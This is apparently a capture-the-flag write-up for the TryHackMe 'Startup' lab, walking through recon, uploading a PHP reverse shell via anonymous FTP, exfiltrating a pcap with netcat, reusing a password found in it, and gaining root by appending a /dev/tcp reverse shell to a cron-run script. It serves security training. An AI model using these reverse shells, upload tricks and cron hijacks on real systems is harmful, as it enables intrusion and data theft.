Startup

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Intro

Room Info
🔗 Name	Startup
🎯 Target IP	10.10.173.77
📈 Difficulty level	🟢Easy
💲 Subscription type	Free
🐧 OS	Linux

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Recon

su
echo "10.10.173.77 startup.thm" >> /etc/hosts

# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

Start Reconnaissance

mkdir thm/startup
cd thm/startup
nmap startup.thm
    21/tcp open  ftp
    22/tcp open  ssh
    80/tcp open  http

nmap -sV -sC -Pn -oA startup startup.thm

21/tcp open  ftp  vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.18.65.48
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh  OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9a60b841d2201a401304843612bab94 (RSA)
|   256 ec13258c182036e6ce910e1626eba2be (ECDSA)
|_  256 a2ff2a7281aaa29f55a4dc9223e6b43f (ED25519)
80/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Enumerate Web server directories

gobuster dir -u http://startup.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/files (Status: 301) [Size: 310] [--> http://startup.thm/files/]

Navigate to

• http://startup.thm/files/

Login via FTP with anonymous:anonymous. The files in the folder are the ones from the /files webpage.

ftp startup.thm

ls

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Exploitation

Get a Reverse shell by uploading a PHP file via FTP and run it through the web page.

cp /usr/share/webshells/php/php-reverse-shell.php .
nano php-reverse-shell.php
# Set $ip & $port
$ip = '10.18.65.48';
$port = 1234;

mv php-reverse-shell.php shell.php

# In the FTP anonymous session
cd ftp
put shell.php

nc -nvlp 1234

• Navigate to http://startup.thm/files/ftp/shell.php to get a reverse shell

/usr/bin/script -qc /bin/bash /dev/null

ls
cat recipe.txt

ls -lah /home
	lennie

ls /incidents
	suspicious.pcapng

cp /incidents/suspicious.pcapng /var/www/html/files/smb
# Permissions denied

Transfer suspicious.pcapng using netcat

# Kali
nc -nvlp 5555 > susp.pcap

# Startup box
nc -nv 10.18.65.48 5555 < /incidents/suspicious.pcapng

Analyze the susp.pcap file in Wireshark or use the strings command

strings susp.pcap

Try the string as password for lennie user.

su lennie
# password: c4ntg3t3n0ughsp1c3
# It works

📌 lennie:c4ntg3t3n0ughsp1c3

• 🚩 Get user.txt

find / -type f -iname user.txt 2>/dev/null
cat /home/lennie/user.txt
THM{0********************************

Close the reverse shell and connect via SSH

ssh [e-mail]

Perform some Enumeration with lennie user

ls -lah *
    -rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt
    
    Documents:
    total 20K
    drwxr-xr-x 2 lennie lennie 4.0K Nov 12  2020 .
    drwx------ 5 lennie lennie 4.0K May 15 13:37 ..
    -rw-r--r-- 1 root   root    139 Nov 12  2020 concern.txt
    -rw-r--r-- 1 root   root     47 Nov 12  2020 list.txt
    -rw-r--r-- 1 root   root    101 Nov 12  2020 note.txt
    
    scripts:
    total 16K
    drwxr-xr-x 2 root   root   4.0K Nov 12  2020 .
    drwx------ 5 lennie lennie 4.0K May 15 13:37 ..
    -rwxr-xr-x 1 root   root     77 Nov 12  2020 planner.sh
    -rw-r--r-- 1 root   root      1 May 15 13:38 startup_list.txt

cat scripts/*
cat Documents/*
cat /etc/print.sh
ls -lah /etc/print.sh
	-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh

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Privilege Escalation

Since planner.sh will be run as root (with a cron job), and it contains the /etc/print.sh command script, modify /etc/print.sh and input a payload (a reverse shell for example) into it to run it as root.

echo "/bin/bash -i >& /dev/tcp/10.18.65.48/3333 0>&1" >> /etc/print.sh

Wait for the reverse shell on the attacker machine. The root will run the planner.sh script once a minute.

# Kali
nc -nvlp 3333

find / -type f -iname root.txt 2>/dev/null
cat /root/root.txt
THM{f********************************

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